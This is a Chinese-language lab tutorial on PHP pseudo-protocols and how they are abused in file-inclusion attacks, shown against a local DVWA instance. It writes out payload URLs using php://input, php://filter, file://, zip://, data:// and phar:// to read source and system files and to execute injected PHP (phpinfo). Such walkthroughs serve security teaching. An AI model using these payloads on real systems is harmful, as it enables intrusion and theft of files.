PHP伪协议:
协议 | 功能 |
---|---|
file:// | 访问本地文件,需要绝对路径 |
http:// | 访问http/https |
ftp:// | 访问ftp |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | php归档 |
ssh2::// | secure shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理式交互流 |
php:// | 访问各个输入/输出流 |
部分协议会受到配置文件中allow_url_fopen和allow_url_include所影响
伪协议在攻防中,通常被文件包含漏洞或者xxe所利用
php://
不受allow_url_fopen影响
php://input、php://stdin、php://memory、php://temp受allow_url_include影响
php://input
可以访问POST的内容
当enctype="multipart/from-data"时,php://input无效
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://input
post提交<?php phpinfo()?>
php://filter
php://filter可以读写文件
在文件包含页面读取源码:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
读出的源码经过了base64编码,不经过base64编码的话会直接执行
file://
不受allow_url_fopen和allow_url_include影响
使用方法: file://+[文件绝对路径]
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=file://c:/windows/win.ini
成功读取到win.ini的内容
zip://、bzip://、zlib://
不受allow_url_fopen和allow_url_include影响
使用方法:zip://[压缩包绝对路径]#[压缩包文件的子文件名]
写入<?php phpinfo();?>到1.txt并压缩到c://1.zip
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=zip://c:/1.zip%231.txt (这里我用#号会报错,所以使用了%23)
data://
受allow_url_fopen和allow_url_include影响
可以利用该协议执行代码
page=data://text/plain,<?php phpinfo()?>
如果有符号被过滤可以试试base64编码page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://
写入<?php phpinfo();?>到1.txt并压缩到c://1.zip,改后缀名为1.jpg
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=phar://c:/1.jpg/1.txt
可以看到这样也可以执行php代码